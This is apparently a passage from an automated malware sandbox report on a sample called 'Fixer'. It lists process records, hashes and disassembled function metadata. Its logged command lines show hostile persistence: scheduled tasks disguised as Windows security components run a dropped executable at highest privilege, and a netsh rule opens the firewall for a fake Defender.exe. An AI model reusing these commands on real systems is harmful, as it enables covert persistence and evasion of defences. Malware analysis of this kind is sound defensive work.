Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff789eb0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST
Imagebase:	0x7ff679410000
File size:	235'008 bytes
MD5 hash:	796B784E98008854C27F4B18D287BA30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit
Imagebase:	0x7ff6fd8a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff771540000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST
Imagebase:	0x7ff679410000
File size:	235'008 bytes
MD5 hash:	796B784E98008854C27F4B18D287BA30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:25:05
Start date:	08/01/2025
Path:	C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\xdwdSecurityHealthSystrays.exe"
Imagebase:	0x430000
File size:	735'522'883 bytes
MD5 hash:	0AC0B9DEA199D2DF1593CAB96613CB52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:25:05
Start date:	08/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"CMD" netsh advfirewall firewall add rule name=",%MUc}<NcMKXc_" dir=in action=allow program="C:\Windows\System32\Defender.exe" enable=yes & exit
Imagebase:	0x7ff6fd8a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	05:25:05
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff771540000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	05:25:05
Start date:	08/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST & exit
Imagebase:	0x7ff6fd8a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:25:05
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff771540000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:25:05
Start date:	08/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST
Imagebase:	0x7ff679410000
File size:	235'008 bytes
MD5 hash:	796B784E98008854C27F4B18D287BA30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:25:06
Start date:	08/01/2025
Path:	C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Imagebase:	0x290000
File size:	735'522'883 bytes
MD5 hash:	0AC0B9DEA199D2DF1593CAB96613CB52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:25:07
Start date:	08/01/2025
Path:	C:\Windows\System32\Defender.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Defender.exe"
Imagebase:	0x5c0000
File size:	753'276'147 bytes
MD5 hash:	6C49C48E82A1B13AC0406AD8B049E7DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	05:25:08
Start date:	08/01/2025
Path:	C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Imagebase:	0x240000
File size:	735'522'883 bytes
MD5 hash:	0AC0B9DEA199D2DF1593CAB96613CB52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:25:11
Start date:	08/01/2025
Path:	C:\Windows\System32\Defender.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\Defender.exe
Imagebase:	0x6f0000
File size:	753'276'147 bytes
MD5 hash:	6C49C48E82A1B13AC0406AD8B049E7DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:26:02
Start date:	08/01/2025
Path:	C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Imagebase:	0x920000
File size:	735'522'883 bytes
MD5 hash:	0AC0B9DEA199D2DF1593CAB96613CB52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:26:02
Start date:	08/01/2025
Path:	C:\Windows\System32\Defender.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\Defender.exe
Imagebase:	0x380000
File size:	753'276'147 bytes
MD5 hash:	6C49C48E82A1B13AC0406AD8B049E7DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.5%
Total number of Nodes:	110
Total number of Limit Nodes:	6

Executed Functions

Function 0623ADB8 Relevance: 2.7, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1, xrefs: 0623AE51
v, xrefs: 0623AE38

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID: 1$v
API String ID: 0-2456183578
Opcode ID: a818690c72e82aa63db61e810bd30c2ab9494bd927ece9b91457c3d625236891
Instruction ID: ca153b3f0f208ebf10926cc937cf7c133d44fde2d0c4c52758836b0ae4d6748a
Opcode Fuzzy Hash: a818690c72e82aa63db61e810bd30c2ab9494bd927ece9b91457c3d625236891
Instruction Fuzzy Hash: 47919374E01218CFDB68DFA9D994B9DBBB2FF89301F1480AAD809AB355DB315981CF50

Function 0623ADA8 Relevance: 2.7, Strings: 2, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1, xrefs: 0623AE51
v, xrefs: 0623AE38

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID: 1$v
API String ID: 0-2456183578
Opcode ID: 8c7d7d330c4db7977220828ee5774bd23a43107196fa82baf34377a0b075e0fd
Instruction ID: c101898b915b0bed503eaa813934deb40a856fa2d10c162cd730f402c1451361
Opcode Fuzzy Hash: 8c7d7d330c4db7977220828ee5774bd23a43107196fa82baf34377a0b075e0fd
Instruction Fuzzy Hash: 19919374E01228CFDB64DFA9D954B9DBBB2FF89300F1080AAD859AB355DB315981CF50

Function 0623DBD8 Relevance: 1.6, Strings: 1, Instructions: 325
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 0623DCD8

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID: Hq
API String ID: 0-1594803414
Opcode ID: e85788bc73a04ed927bd116eb72f345c233bfc2b6cc24e952dff0312278d2158
Instruction ID: 9085e285d20628fe4c9049454b2791b147648cf8b413e8af24b6ed8ab3369271
Opcode Fuzzy Hash: e85788bc73a04ed927bd116eb72f345c233bfc2b6cc24e952dff0312278d2158
Instruction Fuzzy Hash: C1E1C1B4E10229CFDB54CFA9C884BEEBBB2FF49300F1485A9D808A7255D7749A85CF50

Function 0623BC71 Relevance: 1.6, APIs: 1, Instructions: 57
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 0623BCDD

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 01061b5336c0038194aa405883390d124074c1e7e15116347527d26fba039c46
Instruction ID: ef0d32769fd85f065fed31c347fdb1d0c64b058898b5f77e25aa5ca1fce99079
Opcode Fuzzy Hash: 01061b5336c0038194aa405883390d124074c1e7e15116347527d26fba039c46
Instruction Fuzzy Hash: 9B2147B68002499FDB20CF99D845BDEBFF5EF48320F148819E954A3250C339A594DFA5

Function 0623B670 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 0623BCDD

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: c5b874992b02e4407fa109e353ad30943bf8f3469d233c3814d859fc072fbab8
Instruction ID: d60f24d01957ac5b74305be99b8b3a7426394625b5461754d6bfdcfddc6ca3af
Opcode Fuzzy Hash: c5b874992b02e4407fa109e353ad30943bf8f3469d233c3814d859fc072fbab8
Instruction Fuzzy Hash: C61159B6800249DFDB20CF9AC845BDEBBF4EF48320F148419E914A7250C379A994DFA0

Function 029CD168 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 029CD1F6
GetCurrentThread.KERNEL32 ref: 029CD233
GetCurrentProcess.KERNEL32 ref: 029CD270
GetCurrentThreadId.KERNEL32 ref: 029CD2C9

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 628273becc12f556e2b332ec207bbdc5ccd11c7c482d04c33ade1cd8d35416db
Instruction ID: 06743331f8c9dbe15f81fc7e29eec2150ade0fd052740e2f0523e27d32467bd2
Opcode Fuzzy Hash: 628273becc12f556e2b332ec207bbdc5ccd11c7c482d04c33ade1cd8d35416db
Instruction Fuzzy Hash: 815158B09017498FDB14CFAAD989B9EBBF5FF48304F208469E409A7350D7789885CF66

Function 029CD178 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 029CD1F6
GetCurrentThread.KERNEL32 ref: 029CD233
GetCurrentProcess.KERNEL32 ref: 029CD270
GetCurrentThreadId.KERNEL32 ref: 029CD2C9

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1708641703b0ad099b5e3d8a5e5133993257a77e447c544b4d8311053acb6668
Instruction ID: d94d131cdeaff30be72dc1cde66b390d60c393b1c7b6007011879a4e6430b41e
Opcode Fuzzy Hash: 1708641703b0ad099b5e3d8a5e5133993257a77e447c544b4d8311053acb6668
Instruction Fuzzy Hash: FA5158B09007498FDB14CFAAD588B9EBBF5FF48304F20C459E409A7350D7749885CB66

Function 029CAEF0 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 029CB146

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f1a44f393a7b509fed7b3695cf304b78aac31728c061c617278b94abc7677605
Instruction ID: d62ffe8da1a5fb804b17e4336fb6ab8e74260cad3cc1dd5d17957b05c7aff604
Opcode Fuzzy Hash: f1a44f393a7b509fed7b3695cf304b78aac31728c061c617278b94abc7677605
Instruction Fuzzy Hash: 507167B0A00B058FD724DF29D55179ABBF5BF88204F108A2DD48AD7B40D775E849CF92

Function 029C4248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 029C59F1

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8eebe7e87c30048f78d4d8890db92073e2da1c8102af254feb7205d6e463da20
Instruction ID: 11b010be454ac15fd2b2addbec1a53247555e705a156bb3157125cb676f68b73
Opcode Fuzzy Hash: 8eebe7e87c30048f78d4d8890db92073e2da1c8102af254feb7205d6e463da20
Instruction Fuzzy Hash: B841E3B1D00718CBEB24CFAAC88479DBBB5FF48304F64806AD409BB251D7756989CF91

Function 029C5935 Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 029C59F1

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: db3abe5cd2396f958742845db8bdfa4c24489c421e3e04eab2e321c4c1ef36a4
Instruction ID: 4fb6d4e3878f37eea2c2a9f8542f2bf7a33138a68fe9630e11a7c55751afd2ff
Opcode Fuzzy Hash: db3abe5cd2396f958742845db8bdfa4c24489c421e3e04eab2e321c4c1ef36a4
Instruction Fuzzy Hash: 6241E2B1D00718CBEB24CFAAC88479DBBB5BF48304F64805AD419BB250D775694ACF51

Function 029CD3B8 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 029CD447

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: da83680a8e9ec7a22fb559a0d4434ee99f5b01a4eb0a1390611edd2190337fa3
Instruction ID: 94cc1d446b005be8e30c055eff478af90e43f37875fa0badcc9b1680c2921341
Opcode Fuzzy Hash: da83680a8e9ec7a22fb559a0d4434ee99f5b01a4eb0a1390611edd2190337fa3
Instruction Fuzzy Hash: 4B21E5B59002499FDB10CF9AD485ADEBFF5EB48314F14841AE918A3350D378A945CF65

Function 029CD3C0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 029CD447

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d4bdd635966abdf38cfd56e5990826677eb1a6f7e54626b4fd131da40cec16c9
Instruction ID: 94d6e6d23123f743ca6da8dc6a61a6b1f4417212d1e0eb8c68884dcf97590c8c
Opcode Fuzzy Hash: d4bdd635966abdf38cfd56e5990826677eb1a6f7e54626b4fd131da40cec16c9
Instruction Fuzzy Hash: 7C21C4B59002499FDB10CF9AD884ADEFBF9EF48314F14841AE918A3350D378A954CF65

Function 029C8324 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindWindowW.USER32(00000000,00000000), ref: 029C9ADE

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 38cea83605ce19cd01cb58c8ce25821fbeac64f69f85ef12533a247af10845f5
Instruction ID: 861d396efcdfa206fab3fce9be8c30a7c4262e5394fccabf6c853311744c976b
Opcode Fuzzy Hash: 38cea83605ce19cd01cb58c8ce25821fbeac64f69f85ef12533a247af10845f5
Instruction Fuzzy Hash: 252122B5D013098FDB14CF9AC884AEEFBF8FB49314F24852ED419A7600C3B4A944CBA1

Function 029C9A60 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindWindowW.USER32(00000000,00000000), ref: 029C9ADE

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 83ace303064151750dae8a220806b19bc9e23fe1db20e9efd2d907afc255910e
Instruction ID: 3ad3b719ae2c76cc3260a8715d75b6d06075ff88b67568e1ec3bfc3074fbdacb
Opcode Fuzzy Hash: 83ace303064151750dae8a220806b19bc9e23fe1db20e9efd2d907afc255910e
Instruction Fuzzy Hash: 912110B5D013098FDB14CF9AC884AEEFBF4FB48324F24852ED819A7640D778A545CBA1

Function 029CB0E0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 029CB146

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6bffa9857e528f26a0b9fefbb8f74030c9fa3d84f54668efdfb81766fa94dee9
Instruction ID: 99f44b47aac786dc7e384d581152332ac101d6b42d6a957e2b98c73e567fb815
Opcode Fuzzy Hash: 6bffa9857e528f26a0b9fefbb8f74030c9fa3d84f54668efdfb81766fa94dee9
Instruction Fuzzy Hash: 7E11D2B5D002498FDB10CF9AD845BDEFBF4AF89218F24841AD419A7710D379A545CFA1

Function 0101D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52599831946.000000000101D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0101D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_101d000_Fixer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 965e5c7e80a59fdbead4905f02f62188a144c9c8820d7a2fc3994c8600afc4ec
Instruction ID: b99844123e5da758920dc82914188f2d47e7d06aedff8ce2c3c65f77c53e8a84
Opcode Fuzzy Hash: 965e5c7e80a59fdbead4905f02f62188a144c9c8820d7a2fc3994c8600afc4ec
Instruction Fuzzy Hash: A021D375604340EFDB16DF58D8C8B16BBA5EB84254F20C5ADE8894B24AC37AD447CB62

Function 0101D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52599831946.000000000101D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0101D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_101d000_Fixer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8db0d82fd9024c3c9cf0f5ef55ab1a215306e395bd48d1efc1cde17bc68b43f9
Instruction ID: fd5b0bfda48bbb6a5fc1ba345e4bcfbc72c03c5431fed3b61e27f1516d78ab1f
Opcode Fuzzy Hash: 8db0d82fd9024c3c9cf0f5ef55ab1a215306e395bd48d1efc1cde17bc68b43f9
Instruction Fuzzy Hash: 46118E75504280DFDB12CF58D5C4B15BBA2FB44314F24C6AAE8494B65AC33AD44BCB62

Function 0100DA51 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52599778781.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100d000_Fixer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a7d78a26d39a6ae4f22dbe6e896589ad5b40eac206363cf553f00b9156e54c
Instruction ID: c84d220f3b14895f5e6f5a240b0ded1c55dc8f11f180579abea39a42f55a2662
Opcode Fuzzy Hash: 39a7d78a26d39a6ae4f22dbe6e896589ad5b40eac206363cf553f00b9156e54c
Instruction Fuzzy Hash: 8E018821108340ABF7125A99C884B66FFE8EF42674F18855AED850A2C2D3699884C776

Function 0100DA50 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52599778781.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100d000_Fixer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93626e89986fe086e6728d4042b5095d405e9b368a24f3c886a29cd08d29d98d
Instruction ID: c56c7160c281d4e54d094be2147f7db0cdf3044e062964c9f3a80adc58049092
Opcode Fuzzy Hash: 93626e89986fe086e6728d4042b5095d405e9b368a24f3c886a29cd08d29d98d
Instruction Fuzzy Hash: FCF04F71508344AEFB118A5AC9C4B62FFD8EB41634F18C55AED484A283C2799884CAB1

Non-executed Functions

Function 06235790 Relevance: 7.3, Strings: 5, Instructions: 1058COMMON

Download Yara Rule

Strings

4|q, xrefs: 06236455
Hq, xrefs: 06235A3B
Hq, xrefs: 062359C3
Hq, xrefs: 06235A6C
Hq, xrefs: 062359F4

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID: 4|q$Hq$Hq$Hq$Hq
API String ID: 0-2385035612
Opcode ID: 54330fef155eff867c620f1d5abd775f9f732f970c49ca4ae18653ae752af768
Instruction ID: d98d2968113ddfc6fa0cb995d4756643ea386cbf94702de842c7e88049bce4b0
Opcode Fuzzy Hash: 54330fef155eff867c620f1d5abd775f9f732f970c49ca4ae18653ae752af768
Instruction Fuzzy Hash: 1682BF70B202298FDB59DF79C8546AEBBF6BF88300F148069E849EB355DB749D41CB90

Function 0623DBC8 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

Hq, xrefs: 0623DCD8

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID: Hq
API String ID: 0-1594803414
Opcode ID: 6f94b1d877bfd4c4702eb4c996f623043802cb49f3604374120ddb7d1dc142c3
Instruction ID: e62ed8ad883452a9542e2b55752d7d01f1f470d8fb8bc13c3ff0cbb07f461fd1
Opcode Fuzzy Hash: 6f94b1d877bfd4c4702eb4c996f623043802cb49f3604374120ddb7d1dc142c3
Instruction Fuzzy Hash: E561E8B1D102298FEB54CFAAC844BEEFBF2BF48300F1485A9D458A7255D7745A86CF90

Function 062398B8 Relevance: 1.0, Instructions: 991COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a2a0b9766b4e98435e573e2760f8a169325bf459134e85647e5eebfeb907cb9
Instruction ID: 0bdd5078281282a37563b4d55cec6e574c078a094290d6ed84598a99fc37348c
Opcode Fuzzy Hash: 9a2a0b9766b4e98435e573e2760f8a169325bf459134e85647e5eebfeb907cb9
Instruction Fuzzy Hash: 60A2D4B4E102298FDB64DF68C984BDDB7B2BF49300F5482A9D849A7355DB70AE85CF40

Function 0623E4F0 Relevance: .9, Instructions: 868COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c3ef8a987f7258a3f52431db54bc8536403a108939e7e06c0752946b3d11736
Instruction ID: 9adc2d21d5a77036c2351728480c7579cbd3cc4ff1afc4f4952bd5c6c3b4ef32
Opcode Fuzzy Hash: 4c3ef8a987f7258a3f52431db54bc8536403a108939e7e06c0752946b3d11736
Instruction Fuzzy Hash: 7B925E74A106298FD754DF68C991B6EB7B2FF88300F55C1A9C509AB38AC734E981DF90

Function 0623E4E1 Relevance: .5, Instructions: 502COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID:
